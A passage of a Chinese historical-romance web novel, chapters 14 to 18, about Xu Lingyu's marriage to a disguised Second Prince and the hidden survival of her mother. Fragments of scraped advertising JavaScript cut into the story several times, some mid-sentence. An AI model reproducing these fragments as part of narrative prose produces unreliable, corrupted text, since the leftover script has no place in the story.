蓦地，他忆起长缨的话。 确实，许菱玉之姿容气度，比起京中高门贵女，也不逊色。 不过，在遇上这小老虎之前，他也从未想象过未来正妃什么样，是不是贵女，本就无关紧要。 至于皇祖父定下的，正妃只能是小官之女的规矩，他从前也没想过要自己去遵从。 而眼下，他第一次觉得这古板的规矩，并非全无可取之处。 顾清嘉佯装出几分紧张，仿佛仍是许菱玉熟悉的，老实本分的书生：“阿玉，我们既已拜了天地高堂，便是名正言顺的夫妻。我思来想去，还是觉得，今夜应当陪着你。” 他语气端方正经，说完，却站起身，伸手去取许菱玉手中棉巾，作势要帮她擦头发。 许菱玉惊得后退两步，抵上妆台：“不，不用了。” 她对成亲的设想，可不包括与一个不算熟悉的男子同床共枕啊！ 即便他生得俊，那，那也不行！ 14. 夸赞 面对他这样一个，被她自己算计来的夫君，许菱玉还是头一次露怯，窘迫地拿棉巾捂住寝衣衣襟交叠处。 扬言一定会嫁他的时候，在公堂上义正言辞的时候，当着众宾客的面扇继母巴掌的时候，许小姐多威风啊。 再看此情此景，顾清嘉眼底不由沁出几丝笑意。 竭力克制着，才绷住唇角，不动声色。 “阿玉，这门亲事，原本虽非我所愿，可如今我们已是夫妻，我便必须尽到为夫的责任，否则岂不枉读圣贤书？”顾清嘉语气郑重，据理力争，“照顾好娘子，便是我的责任，我并非要逼迫你什么。” 说到此处，他移开目光，稍显无措地落在绣屏花鸟上。 他是想吓唬吓唬她，杀杀这小老虎的锐气。 可他没想到，高估了自己的定力。 小老虎钗环尽卸，素面朝天，雪白莹润的脸颊透出沐浴后的绯红，娇嫩似晨雾里的海棠花瓣。 寝衣单薄，纤腰楚楚，本就引人遐想。 她若如平日里，大大方方张扬些还好。 偏生露怯，缩起爪子的姿态，莫名勾得人心痒，想趁虚欺负回去。 头一回对姑娘家生出这般卑劣心思，顾清嘉的无措，也不全然是装出来的。 他的微妙转变，被许菱玉捕捉到，顿时滋生出东风压倒西风的气势。 还以为秀才长了胆子，竟敢执意与她圆房。 没想到，他的胆气是强装出来的，仍是个愣头青。 他脾气好，力气虽大，胆子却小，不敢对她用强的，那她还怕什么？ 心念飞转，许菱玉一双妙目也流转盈笑。 “秀才，你说那么多冠冕堂皇的话，其实只是嫌弃高澍醉酒，才壮着胆子来我这里的吧？”许菱玉仍旧抓着棉巾，披散着墨发，朝贾秀才走近两步。 隔着一臂之距站定，许菱玉抬眸凝着他俊朗侧脸。 烛光照透他耳尖，疑似泛红，许菱玉忍不住失笑：“我不是跟你说了，可以让他睡长缨屋里？他把你们床吐脏了？” 顾清嘉被她这般盯着，身形微僵，迎上她视线，说出个更合理的借口：“他鼾声如雷，吵得我难以入眠。” 许菱玉愣了愣。 随即笑眼弯弯，折身爬进床里。 她坐在床里侧，拍拍外面的床褥，大大方方道：“好吧，今夜分你半张床。” 待顾清嘉脱了鞋袜上来，她又道：“不过，你若是睡相不好，我可是会把你踢下去的。” “不会。”顾清嘉轻应，状似规矩本分。 “谅你也不敢！” 明明是被他威逼利诱，坑蒙拐骗来的，秀才却手脚勤快，老实守礼，俨然真把她当娘子在迁就。 嫁夫如此，许菱玉对他没什么不放心的。 身子一转，很快朝里睡去。 顾清嘉听着枕畔匀而轻的呼吸声，鼻尖萦绕的是已渐渐熟悉的浅香。 他尚无睡意，望着高几上明炽的红烛，将手臂枕在脑后，悠闲地回忆起近来诸多意料之外的事。 初时觉得荒唐，此刻忆起，倒品出几分别样的意趣。 清早醒来，天光已亮。 许菱玉睁开眼时，床外侧已没有秀才的踪影。 她只当贾秀才收拾好，回后院去了。 屋里没人，她便自顾自在屏风后褪下寝衣，换上花梨木架子上备好的家常衫裙。 拢着头发，走到妆台侧，许菱玉才觉出哪里不对。 她猛然侧首，竟瞧见贾秀才端坐书案侧，专注地写着字。 “秀才，你怎么还没走？！”许菱玉再度疑惑、惊诧。 想到方才她在里头换衣裙，秀才就在一道半透的绢纱屏风外，许菱玉双颊登时染上红霞。 顾清嘉驻笔，侧眸望来。 迟疑一瞬，起身大步走到她面前，似乎没有察觉到她的异样，俯首低低恳求：“阿玉，我不想被高澍笑话，我乖乖听话，你能不能不要赶我走？” 许菱玉并未立时回应，脑子有些乱，总觉得她与秀才之间的关系，哪里出了差错。 可秀才在她面前，仍是端方顺从的，甚至比成亲前多几分卑微。 许菱玉想不出，究竟哪里怪。 一切不那么重要的事，她都很擅长将之抛在脑后。 此刻，她稍稍平复心绪，将注意力从贾秀才身上移开，凝神细听院子里的动静，果然听到高澍与芹姨说话的声音。 高澍还没走，所以秀才不想当着他面搬回后院，被高澍取笑。 许菱玉觉得这担忧，很合情合理。 秀才留下是事出有因，又不是故意占她便宜。 难道她方才在里头衣裙换到一半，秀才出言阻止，她就不窘迫了？ 不如就像现在，都当做什么也没发生。 这会子，许菱玉倒是庆幸秀才没急着搬。 不然让高澍酒醒确定，她与秀才没做真夫妻，不知又要同她怎么闹呢。 “那你留下吧。”许菱玉觉着，自己这样说，利用人的心思未免太明显了些，不厚道，便又补上一句缓和气氛，“我也没要赶你走。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 听到秀才松一口气，许菱玉不由心生一丝愧疚。 她会不会对秀才太不好了些？ 当初是看秀才顺眼，又急需一门合理的亲事，才设计逼迫秀才。 可她毕竟不是那等欺男霸女的恶人，没想着要一直欺负一个无辜人。 秀才模样好，脾气好，坐怀不乱，品行可靠，正是她一直想要的夫君呢。 还是在她祭拜过阿娘之后，碰巧让她在桂花巷捡到的。 许菱玉想想，其实与秀才做真夫妻，似乎也不错。 “你……”许菱玉略显焦躁地抓抓颈侧头发，眼睫微敛，盯着鞋尖，清清嗓子道，“你今日得空了，把东西都搬过来吧。” “阿玉，你的意思是？”贾秀才似乎高兴坏了，不敢相信自己的耳朵。 许菱玉猛然抬眸，瞪着他，语气凶巴巴的：“我没什么意思，你不许说！” 继而，不等贾秀才反应，羞臊地跺跺脚，坐到妆台前梳妆去了。 顾清嘉英隽的眼中悄然漾起笑意，闲适地环顾许菱玉的香闺。 目光扫过墙角叠放的，尚未被许菱玉发现的两只箱笼时，他神情一滞。 状若无意，不紧不慢踱步，绕过许菱玉身后，悄悄挪过去，以高大的身形挡住，足跟缓缓后移，将箱笼推至低垂的帷幔后。 许菱玉挽好发髻，手中捏一根蝴蝶簪子，侧首望发间插，才发现他站在不远处。 她插好簪子，抿抿发髻，好奇问：“你傻站着做什么？” “娘子花颜月貌，天生丽质，为夫在想，先前是我不识抬举了。”顾清嘉微微含笑，躬身拱手，“当向娘子赔罪才是。” 突如其来的夸赞，听得许菱玉心尖一颤。 他，他何时开始唤她娘子的？昨儿晚上不是还不愿意么？ 许菱玉红着耳尖，目光仓促移开，重新望进菱花镜里，嘴上嗔道：“花言巧语，别以为这样就可以躲懒少干活。我饿了，你去瞧瞧芹姨早膳可备好了？” “我是真心夸赞，无半句虚言。”顾清嘉一本正经应。 听起来并无旖旎情味，偏他大掌往许菱玉肩头轻搭了一下。 “我去去就来。”仿佛只为了再说这一句。 之后，便迈开长腿，快步走出去。 许菱玉呆愣着，瞧见镜中几乎在滋滋冒热气的自己，心口怦怦直跳。 她一手抚上脸颊，一手轻压心口。 蓦地，忆起话本子里，佳人对才子动心的描述。 从未体味过的情愫，藤蔓似的，攀缠在她心口。 15. 紧张 不多时，秀才进来唤她，说是早膳已备好，问她要不要端进来。 仿佛只要许菱玉点点头，他立刻转身出去，把早膳捧到她面前。 从前，这是金钿的活儿。 秀才倒是表里如一，才说了要照顾她，便开始鞍前马后。 许菱玉弯起刚涂过红艳口脂的唇，朝窗外望一眼，瞧见院中和暖的阳光，以及走来走去，热锅上的蚂蚁似的高澍，轻道：“早膳摆在院子里，一块儿吃吧。” 贾秀才望她一眼，没说什么，点点头，出去了。 等许菱玉收拾妥当，从屋子里出来，他们已将膳桌摆在玉兰树下。 今日人多，芹姨备了七宝素粥、鲜肉包子、晶粉鸡蛋馅饼，金钿另从外头买来油炸烩、豆沙糕，满园飘香。 “都坐下吃吧。”许菱玉招呼众人落座，率先将芹姨扶到桌旁，笑着哄道，“就数芹姨最辛苦，您先坐。” 说话间，已将芹姨按在条凳上。 “你这丫头。”芹姨无奈地笑着摇头，笑意透着欣慰与欢喜。 顾清嘉默默瞧着，缓步走到许菱玉身侧的条凳后，把靠近芹姨的位置空出，留给许菱玉。 原本高澍木愣愣站在芹姨对侧，顾清嘉这么一过来，便离他很近。 高澍身体反应快过脑子，先是下意识往后退一步，继而，猴子似地往前一跳，麻利地拿衣袖擦拭顾清嘉面前的条凳。 “……”许菱玉被他一惊一乍闹得一头雾水，“高澍，你怎么跟丢了魂似的？” 在屋里看到高澍走来走去时，她以为这个傻大个是在为昨夜醉酒的事懊恼，又为她与秀才有没有“圆房”的事焦急。 哪知，她出来之后，高澍一反常态，什么也没乱说，成了锯嘴葫芦。 甚至主动跳出来，殷勤地给秀才擦凳子。 昨晚还叫秀才小白脸，今日就换了一副面孔。 高澍可不是这样善变的性子。 “秀才，你打他了？”许菱玉疑惑地看向顾清嘉。 顾清嘉弯唇，摇摇头。 随即伸手扶住许菱玉手臂：“阿玉不是饿了么？先坐下，边吃边说。” 若是平日里的高澍，这会子定会跳脚：“你让他打我一下试试，他能打得过我？！” 可今日的高澍，听到许菱玉的疑问，一声不吭，憋得脸通红，同手同脚绕过条凳左侧坐下。 “奇怪。”许菱玉低声嘟囔。 她当真饿坏了，脑子懒得动，便没多想，接过贾秀才盛好的粥，慢慢填起肚子。 “许是高公子酒醒，知道先前对我太多无礼，今日想要赔礼道歉，才会如此。”顾清嘉慢条斯理解释，“阿玉不必在意。” 似乎是为了映证他的话，他话音刚落，高澍便霍然站起来，白着一张脸，朝顾清嘉躬身拱手，甚为虔诚：“贾公子说的是，先前都是我不对，希望贾公子宽宏大量，莫要放在心上。” “高公子不必多礼。”顾清嘉瞥他一眼，语气平常，高澍的脸却更白了。 许菱玉只当他是宿醉后，身子太虚，不耐烦道：“拜来拜去，早膳都要凉了，快坐下好好吃饭，当心饿晕过去，我可不会再管你！” 这边高澍老实了，埋头吃东西。 那一头，金钿却劝不动长缨，俩人拉扯着，长缨死活不肯落座。 许菱玉没开口，侧眸盯着贾秀才。 秀才家道中落前，难道还是大户人家？看长缨对秀才的态度，也太多于恭敬了。 也或许是读书人，格外讲究些？ “长缨，坐下用膳。”顾清嘉放下刚盛好的粥，抬眸吩咐，语气淡然。 “是。”长缨领命。 可他坐下的动作，极度不自然，比高澍好不了多少。 “你们读书人，就是讲究。”许菱玉扫一眼他们，感慨道，“小门小户的，讲究什么主仆尊卑，一起坐下用膳就乱套了？不至于。往后都这样，再在我面前穷讲究，我可要罚你月钱了。” 后头一句，她是笑着说的。 气氛缓和，许菱玉胃口也好，比平日多吃了半个鲜肉包子。 贾秀才倒是不嫌弃，将她掰开的另外半个包子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，顺势接过去吃了。 用罢早膳，许菱玉坐在窗内，看着院中挽袖打水的贾秀才，真是越看越满意。 谁说强扭的瓜不甜来着？ 缸里打满水，秀才还要去帮着长缨劈柴，被高澍率先抢过去。 许菱玉放下礼单，朝着窗外柔声唤：“秀才，你进来。” 不多时，顾清嘉走进来，以为许菱玉另有事要吩咐他去做。 岂料，他刚走到书案侧。 许菱玉便站起身，款款绕过书案，抽出一条石蕊红的绢帕，抬手凑近他侧脸。 柔软的绢帕触碰到他脸庞的一瞬间，顾清嘉心口蓦地一震。 “你紧张什么？”许菱玉替他擦拭脸侧、额角的细汗，嫣然含笑。 “脸脏了么？多谢娘子，我自己来。”顾清嘉说着，抬手来接她手里的帕子。 不期然，触碰到许菱玉指尖。 许菱玉指尖微颤，脸一红，低声嗔怪：“秀才，你故意的吧？” “没正经。”许菱玉转过身去，才后知后觉想起窗扇没关。 院中，高澍那张见鬼的神情，让她越发脸热。 “高澍，你还不走，想赖在我这里吃午膳不成？”许菱玉为掩饰心慌，语气不由自主多了些盛气凌人。 “阿玉，你也太抠门了。”高澍嘀咕一句，讪讪将斧头放到地上。 这院子有一尊他得罪不起，却已然得罪的大佛，他也不想待在这里啊！ 可是，他与阿玉青梅竹马，就算阿玉不喜欢他，他也不能看着阿玉捋虎须作死，而不出言提醒吧？ 他是想提醒来着，只是一直没找到与阿玉独处的机会。 贾秀才真身可是当今二皇子，不管其为什么隐姓埋名娶阿玉，高澍也不敢像从前一样和阿玉相处了。 眼下阿玉自己赶他走，高澍有苦说不出。 罢了，看阿玉对贾秀才的稀罕样，高澍觉着，还是不要戳破的好。 不戳破，至少阿玉眼下是幸福的。 若是告诉阿玉，他们哪个能担得起二皇子的怒气？ 16. 勾动 “行，我这就走，衙门里忙着呢。”高澍站起身，拍拍衣摆上的灰尘，没敢再往屋里瞧。 可下一瞬，他分明听见屋里有人道：“阿玉，我去送送高澍。” 是高澍从前不在意，如今十分警醒的“贾秀才”的声音。 高澍顿时像被踩了尾巴的猫，声调夸张又怪异地拒绝：“不必了！” 许是觉着语气太生硬，又汗涔涔道：“贾公子不必如此客气的。” 顾清嘉自然不理会他愿不愿意，慢条斯理道：“我觉得很有必要。先前高公子对我误会良多，但你对阿玉的心意，我很感激，我们正好聊一聊，或许可以成为朋友。” “去吧。”许菱玉对贾秀才的说法，深以为然。 她以为贾秀才对高澍，多少会心存芥蒂。 没想到贾秀才心胸如此宽广，比她想象中还有君子之风。 “高澍就是嘴上没把门，其实不会随便针对人的。”许菱玉中肯地补上一句。 殊不知，高澍转过身去时，面色比吃了黄连还苦。 不会随便针对人？姑奶奶，你可少说两句吧。 巷子只比马车宽不了多少，两面是墙夹着，大半遮在墙阴里，高澍走在顾清嘉身后，脊背阵阵发冷。 巷子里也有街坊走动，都认得高澍，经过昨日，也认得顾清嘉了，纷纷打招呼。 顾清嘉回应得自然，仿佛只是众人眼里的穷秀才。 可高澍头皮紧绷，心神半点不敢放松。 突然间，他觉得自己像极了正被送上断头台的死囚犯。 拖着沉重的步子，走到巷口，前面那人忽而停下脚步，高澍闭了闭眼，僵硬的小腿像是已经踏进棺材。 “想活命吗？”顾清嘉侧身，淡淡开口。 田庄上也有东西送来，许菱玉的乳兄沈禄，也就是芹姨的儿子，拉了满满两大车蔬果、干货。 他们就这几个人，一时吃不完，放久了会坏。 许菱玉和芹姨、金钿合计，分出足有一车的东西，拿篮子重新装了，让贾秀才和长缨给街坊们送去。 等忙完，已是掌灯时分。 街坊们也朴实，都不白拿，这家送碗热汤，那家送条蒸鱼，他们晚膳竟也够吃，不必另做了。 长缨觉得新鲜，目光流连在膳桌上。 那眼神，跟昨日看到许菱玉篮子里的红丝带，如出一辙。 “贾家落魄前，究竟是做什么的？”许菱玉望着贾秀才，终于问出心中疑惑。 越跟这对主仆相处，越觉得贾家不像寻常人家。 至少，门第应当比她高些。 长缨眼观鼻，鼻观心，这样尖锐的问题，没他插嘴的份儿，得看公子希望“贾家”是怎样的人家。 “阿玉不是说，我们两家是自小定下的婚约么？怎么今日又说不知道贾家？”顾清嘉轻抿薄唇，勾一丝清浅笑意。 看起来，不像是要同许菱玉秋后算账。 也是，贾秀才吃她的，喝她的，今日体贴勤快，不像全然对她无意，自然不会再计较公堂上的事。 秀才不过是故意打趣她。 许菱玉微微咬唇，将筷箸尖的几颗饭粒子含进嘴里，面颊微热：“不说便罢，我再不问了。” 不管是什么门第，如今也落魄到她手里了，只要他考不中进士，当不了大官，这一辈子便翻不出她手掌心去。 许菱玉想着想着，心里美滋滋。 往后还是得多让秀才干活，少给他时间去读书，才是正理。 沐洗过后，许菱玉无事，靠着床头软枕，捧起尚未看完的话本子。 故事里写的，是一位高中状元的才子，被尚书大人榜下捉婿，不畏强权，想去御前告状，却因一场意外，对尚书千金一见倾心。 许菱玉已看了大半，正好看到才子与千金喜结连理。 从前在旁的话本子里，也看过主人公成婚，或是私定终身的情节。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >只是，她没上过心，也没留意是怎样描写的。 而今日，她目光落在这几行描写上，迟迟没有再翻页。 书中着墨并不多，皆是含蓄唯美的词句。 云情雨意之类的措辞，看得许菱玉云里雾里，没明白具体做了些什么。 可有一点，她看懂了，才子亲吮佳人唇瓣时，夸赞其香甜似蜜，而佳人忘记呼吸，险些晕过去。 字她都认得，应当算是懂的。 但她心里又冒出许多疑问。 许菱玉探出一点点舌尖，在自己唇上轻舔一下，疑惑并未解除。 不香也不甜啊，难道话本里佳人沐洗过后还涂着口脂，且那口脂里特意加了蜜糖？ 前半段故事她还记得，丞相千金是位聪慧女子，与才子的相遇，甚至是她巧妙设计的，那她为何会连呼吸这样，出于求生本能的事，也会忘记呢？ 许菱玉反复琢磨着那短短几句话，最终得出结论，定是写话本的人夸大其词。 说不定，写故事的人，和她一样，根本没经历过这些事，胡编乱造的。 要不话本里的才子怎么不是状元就是探花的？状元、探花要这么好中，她能长这么大还没见着一个活的？ 明知是假，可许菱玉不得不承认，编故事的很会勾动人心。 听到贾秀才走进来的脚步声，隔着屏风，许菱玉已控制不住胡思乱想的心神。 秀才的脚步声不重，却一下一下，像小锤敲击在她心口。 敲得她心尖一阵震颤，心跳也越来越快。 待贾秀才绕过屏风，身上水蓝色长衫穿得整整齐齐，携一身清爽儒俊的书卷气，走入她视野，许菱玉的心，又奇异般镇定下来。 她与秀才是夫妻，她对自己夫君有想法，那不是天经地义的么？！ 她紧紧攥着话本子，像是从字里行间积蓄好更多勇气，面颊红润，语气急促：“秀才，这段话我看不懂，你过来，读给我听听。” 17. 暗示 顾清嘉察觉到她神情异样，心内莫名，面上却一派淡然，恍若未觉。 “阿玉看的什么书？”顾清嘉轻问，上前两步。 许菱玉往里挪挪，顾清嘉便顺势坐到她外侧的位置。 他一双长腿垂放床边，收收袖口，仪态端方清俊，接过许菱玉递来的书册。 没看书名，目光落在书页上，许菱玉细指所指的位置。 只一眼，顾清嘉眸光微震。 像被什么烫着似的，仓促移开眼。 年少时，这样的话本子，他也曾看过。 自然是偷看，绝无可能和旁人一起读，更何况是女子。 到底是经历过战场厮杀的人，顾清嘉一呼一吸之间，心绪便平复下来。 他转过脸，对上许菱玉清莹莹的眼，端凝着面前含着一丝丝羞怯紧张的女子，忽而有种哭笑不得的无奈感。 自小没娘的许菱玉，究竟是怎样野蛮生长，才长成今日这般自在娇纵模样的？ 她的娇纵，与京城里的千金贵女，又明显不同。 一个在公堂上撒谎都不眨眼的女子，不管想要什么，都敢于去争取，顾清嘉在她身上，竟感受到光明磊落的另一种姿态。 “秀才，”许菱玉清清嗓子，气虚了几分，稍稍别开眼，强撑出自然从容的语气，“你照书读便是，看着我做什么？我就是没看懂，想着你读书多，或许能解释一二。” “真的只是想让我讲给你听？”顾清嘉轻问，斯文温和的语气里似浸染笑意。 “你不愿意就算了！”许菱玉知道，他不可能不懂她的暗示。 既然不肯，便是还没打算与她亲近了。 啊啊啊，她一个姑娘家主动，竟被他拒绝，许菱玉心底暗暗滋长的期待，悉数化为羞窘，从薄薄白皙的脸颊透出来。 许菱玉抓过书册，仓促又狼狈地往枕头底下塞。 顺势背过身去，再不往他这边瞧一眼。 顾清嘉默默攥紧拳心，望着她拢住薄衾的迤逦侧影，嗓音略哑：“阿玉，我身无长物，又无功名傍身，恐怕会耽误你。” 许菱玉愣了愣。 随即拉起薄衾，盖住耳朵，一副不想听的模样。 顾清嘉脱下布履，端坐床头，目光从许菱玉身上移开，落在床尾的铜鎏金帐钩和红绡软帐。 他素来不喜女子亲近，那些名贵的香料气，柔弱的，泫然欲泣的姿态，或多或少让他不耐烦。 从前，他连成亲都未设想过。 更想不到，有朝一日，他会在没决定与一位女子共度一生之前，先与之共入罗帐。 难怪短短时日，长缨便会忍不住替她求情。 许菱玉身上似乎有种说不出的魔力，能勾动人早已习惯压制的东西。 “你一个女子，不了解我，怎敢把自己交给我？”顾清嘉抬手，拨动身侧帐钩下的红穗子。 穗子细软，像极了佳人头发的触感，而那红艳的色彩，又叫人想起院中飘动的红丝带。 “贾家并非高门大户，家中本有些余财，却被一众财狼叔伯觊觎，可我父亲要我敬重他们，所以我便任由他们占去家财，自己流落异乡。”顾清嘉说着，语气里透出恰到好处的不甘与落寞，“可你不一样，你原本可以入京选秀，兴许可以做皇子妃。阿玉，我须得考上功名，才配得上你。” 没想到平日里温和勤快的秀才，内心一直在饱受煎熬。 许菱玉听不得老实人被欺负，早想打断他。 可她白日里问秀才，秀才不肯说，这会子好不容易听秀才主动说起贾家的事，她又很想知道。 忍了又忍，终于等到贾秀才说完。 许菱玉掌心往床褥上一支，霍然坐起身，转向贾秀才，义愤填膺：“谁稀罕做皇子妃了？你是我夫君，我都没嫌弃你，不许你妄自菲薄！” 对上秀才愕然的眼神，她挪挪身子，找了个舒服的姿势坐好：“他们怎么占的你家产，你快讲给我听听，我去替你讨回公道！” 替秀才讨回公道是一回事，能多得一大笔家财，才是意外之喜。 本来她是只图秀才的俊脸和好性子，可若他还有钱，谁会嫌钱多呢？ 他性子软，对叔伯拉不下脸，就让她去做坏人好了。 顾清嘉摇摇头，对家财的事，没多做解释。 有些谎话，越是语焉不详，越能糊弄人。 “阿玉，你当真不会看不起我？”顾清嘉状似欣喜，伸手拉住许菱玉一角衣袖，“可是，你为何不想入京参加择选？当上皇子正妃，一身荣华，再不会被人欺负，不是很好吗？” “被人欺负？你说二太太和我舅舅他们啊？”许菱玉摆摆手，“他们没那本事欺负我。” 说起不想选秀，许菱玉就有些停不下来，暂且把刚才想要谋算的贾家钱财也忘了。 “我要是当上皇子妃，对我可没什么好处，反而便宜了许淳他们。你听说过吧？我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娘在我很小的时候就去了，很可能是许淳害死的，他越想让我去京城，我就越不去。” 许菱玉展颜，盈盈眸光透出几分得意。 想到不好的事，眼中光亮又倏而暗下来，愤愤不平：“说到那些皇子妃，她们被人欺负的还少吗？不说别人，就说原来的幽王妃吧，还是太祖皇帝亲选的呢，两年前却离奇暴毙，幽王将出身世家大族的侧妃扶正。就算对先幽王妃的死因秘而不宣，可谁猜不到是被何人所害？皇上也知道，要不怎么罚幽王半年俸禄？” “幸而老天有眼，让红叶阁的人替天行道，杀了幽王，以命抵命。先幽王妃可怜，伸张正义的红叶婆婆也可怜，如今不知在哪里被朝廷追杀呢。” 顾清嘉问话时，倒没想到她对皇室意见这样大。 “阿玉性情率真，当真敢说。”顾清嘉睫羽微敛，藏起眼中真实情绪，轻问，“阿玉觉得，太祖皇帝定下的规矩，是错了吗？” 太祖皇帝半生戎马，救百姓于水火，在世人心中，几乎是半神一样的存在。 他定下的规矩，上至当今皇帝，下到文武百官，无人敢质疑。 是以，就连太子妃，也是六品小官之女，虽是琅琊王氏的一支没落旁支，却也是这两年才与王氏嫡支重新走动。 此番选秀，父皇意在为他和三皇子择正妃，同时为六位藩王赐送美人。 顾清嘉没想到，许菱玉对选秀会有这样一番见解。 旁的不说，其中一条，倒与他的想法不谋而合。 皇子正妃的人选，不依皇子的喜好，而是生硬框定，便是许多变数的祸根。 许菱玉没立时没应，她眨眨眼，犹豫一瞬，双手合十，朝空气拜了三拜，口中念念有词：“太祖皇帝在上，小女对您景仰膜拜，绝无一丝不敬之心。” 言毕，她抬眸，脆生生道：“就是错了啊。” “在外头不能说，我在自家床头还不能说几句了？”许菱玉细眉微挑，“好心办坏事的教训还少了？幽王前车之鉴，我就不信那些高高在上的皇子们，还能心甘情愿守着旧规矩。可他们没一个敢出来说话，就连那位杀人如麻的二皇子，竟也不敢。” 许菱玉摇摇头，颇为感慨，不知今岁选秀，还有哪几位倒霉蛋被选上。 “杀人如麻？”顾清嘉知道自己名声不好，可被人指着鼻子骂，还挺新鲜，他也不知自己怎么还能弯起唇角，“阿玉为何觉得，其他皇子不敢做的事，二皇子就该敢？” 18. 平安 说起当朝二皇子，谁都知道是个狠人。 当初忠勇将军魏城战败，父子二人双双死在战场上。 那时候的二皇子，估计与她今年差不多大，竟敢主动请缨，前往北疆。 苦战两年，杀退北夷数万铁骑，俘虏两万北夷精锐王师，当着北疆百姓的面，尽数坑杀在城外最大的荒原。 听说那片荒原，如今草木丰茂，却也人迹罕至。 荒原上吹来的北风，都格外阴森，像是无数怨魂呼号。 许菱玉从未去过北疆，可她见过清江县外的乱葬岗啊，北疆城外的荒原，定然是比乱葬岗更森然的存在。 但二皇子是平定北疆十余年动乱的英雄，身为大晋子民，只会敬他，不会恨他。 许菱玉自然也敬服，但她和大多数清江县百姓一样，更多的是怕。 尤其在听说此番秀女择选，也包括二皇子正妃的时候。 “二皇子胆子最大，最勇武啊。”许菱玉觉着，自己先前说二皇子杀人如麻，有失公允，下意识换了措辞，“若他都不敢，其他人就更不敢了。” 她真心希望二皇子敢于推翻这破规矩，往后，像她一样的小官之女，便不必被架在火上烤了。 勇武？听起来顺耳多了，许菱玉是在夸他呢。 顾清嘉语气如常：“阿玉觉得，二皇子是好人还是坏人？” 他知道自己名声不好，就连父皇也说他嗜杀成性、冷血无情。 所以，他凯旋回京后，父皇虽按惯例犒赏，却罚他闭门思过一个月，让他在府中抄写佛经，收敛周身血腥肃杀之气。 只不过，他经书抄得不甚用心，禁足一月出门，反倒呈上一折陈述弊患、请求削藩的奏疏。 惹得父皇大动肝火，一气之下罚他闭门半年，静思己过。 许菱玉是大晋子民，自然觉得二皇子是好人。 可他手里握着数万条人命呢，死在他手里的人，应当会视其为夺命的阎罗。 许菱玉思忖片刻，托腮道：“二皇子是位很好的将领，可对于即将被选做他正妃的可怜女子来说，恐怕就有些残忍了。骁勇神武的铁血将军，修座祠堂供着敬着还好，若要嫁他，与之双宿双栖。” 许菱玉想到庙里那些眼瞪如铃、目光如炬的金刚菩萨，二皇子大抵就长那副凶神相。 设身处地为将被选中的可怜虫想想，许菱玉忍不住打了个寒噤：“太可怕了，只怕二皇子妃睡觉都不敢闭眼。” 因在自家屋里，许菱玉的情绪反应极为真实，毫不遮掩。 顾清嘉瞧在眼中，忽而生出一股冲动。 若把她变成她口中的“可怜女子”，不知她睡觉敢不敢闭眼睛呢？ 昨夜宿在他身侧，她倒是睡得香甜。 换做旁的女子，得知他真实身份的那一日，恐怕会吓去半条命。 可她是许菱玉啊，仿佛遇到任何事，都能想到法子解决的许菱玉，顾清嘉实难想象，她会作何反应。 跪地求饶？还是装可怜，以情动人？ 顾清嘉眼底泄露出一丝期待，眼神难得透出些温柔之色。 云雾山深处，几乎终年不散的迷雾之后，一大片宫苑悄然寂立。 侍卫于忠难得有空，陪家眷用晚膳。 “阿娘！”于思思拿着一张嵌宝石弓弩，给款步行至膳厅的美妇人看，“你瞧，这是爹今日新送我的弓弩，不轻不重，刚刚好，很趁手。” “思思喜欢就好。”美妇人看一眼尚未及换便服的于忠，略垂眸，语气温柔，情绪淡得似从画里走出来的人，“回来了。” “嗯。”于忠沉声应。 一家三口落座，于思思坐在爹娘中间，左看看，右看看，百思不得其解。 山外的世界是什么样呢？世间的夫妻都像她爹娘这般么？她都十四了，爹娘却像是不熟？ 从小到大都是这样，她也习惯了，心里有些闷，便闷头扒饭。 忽而，一条长臂经过她眼帘，伸向阿娘那一侧。 诶？爹爹这木头呆子，怎么知道给娘夹菜了？ 于思思腮帮子鼓鼓的，嫁妆吃得专心，没发现异常。 实则，她眼睛滴溜溜转，早顺着爹的手臂，望向阿娘的碗了。 阿娘愣住，于思思也愣住。 不是，满桌子菜，爹夹哪一样不好，非得夹阿娘不爱吃的？！ 妇人垂眸，看着半碗精米饭上蓦然多出的一块油亮亮的红烧肉，抬起眸子，眼神平和：“谢谢，可我吃不下这个。” 于思思再也忍不住，将口中饭菜咽下，双手支在桌旁：“爹爹，不是我说你，连我都知道娘不爱吃油腥，你怎么能不知道呢？你该多关心阿娘的！” 于思思的控诉，引得于忠挤出一丝苦笑。 他若多关心阿茴，日子恐怕就不会像现在这样平静了。 坐在他对首，雪肤花貌，腕间戴着小叶紫檀佛珠，妆容素净，看起来不过双十年华的美妇人，竟生着一张与许菱玉相似的脸。 正是外间已然“死”去十余年的孟茴！ 于忠收回筷箸，那块油亮亮的红烧肉却依然躺在孟茴碗中。 “今日不同，尝尝吧，晚些回房，我再与你细说。”于忠说着，给于思思也夹一块。 随即，略垂首，自己默默吃下一块。 “爹爹今日不走了？”于思思欣喜。 爹爹似乎话里有话，于思思没听懂，以为今日换了厨子。 配着米饭，嚼巴嚼巴咽下：“没什么特别啊。” 孟茴与于忠虽与寻常夫妻不同，恭敬有余，亲近不足，可毕竟认识十余年，她对于忠有几分了解。 于忠话不多，对宁王爷忠心不二，除了遵王爷之命，不让她离开云雾山，旁的事上，从不干涉她什么。 吃穿用度，全凭她喜好。 这还是第一次，她明确告诉他，她不喜欢的东西，他仍固执地劝她尝尝。 孟茴盯着油腻的红烧肉，秀眉微颦，迟疑片刻，终是拿筷箸夹起，忍着胃里的抗拒，小口小口吃下。 她已好些年没吃油腥重的东西，连饮两盏云雾茶，方才缓过来。 晚膳她胃口不太好，吃的比往常还少些。 于忠看在眼里，也不强求，只悄悄向厨房要来两份点心，说是自己要吃。 沐洗过后，他提着食盒，回到已有些陌生的寝屋，看着未被岁月侵蚀半分的孟茴，眼中情绪暗滚，又生生压下。 “不腻，要不要再吃些？”于忠坐到她身侧圆凳上，轻问。 孟茴摇摇头，放下木梳，侧首望他：“你今日回来，想对我说什么？” 话音刚落，她忽而想到什么，神情紧张起来：“是不是阿玉出了什么事？” 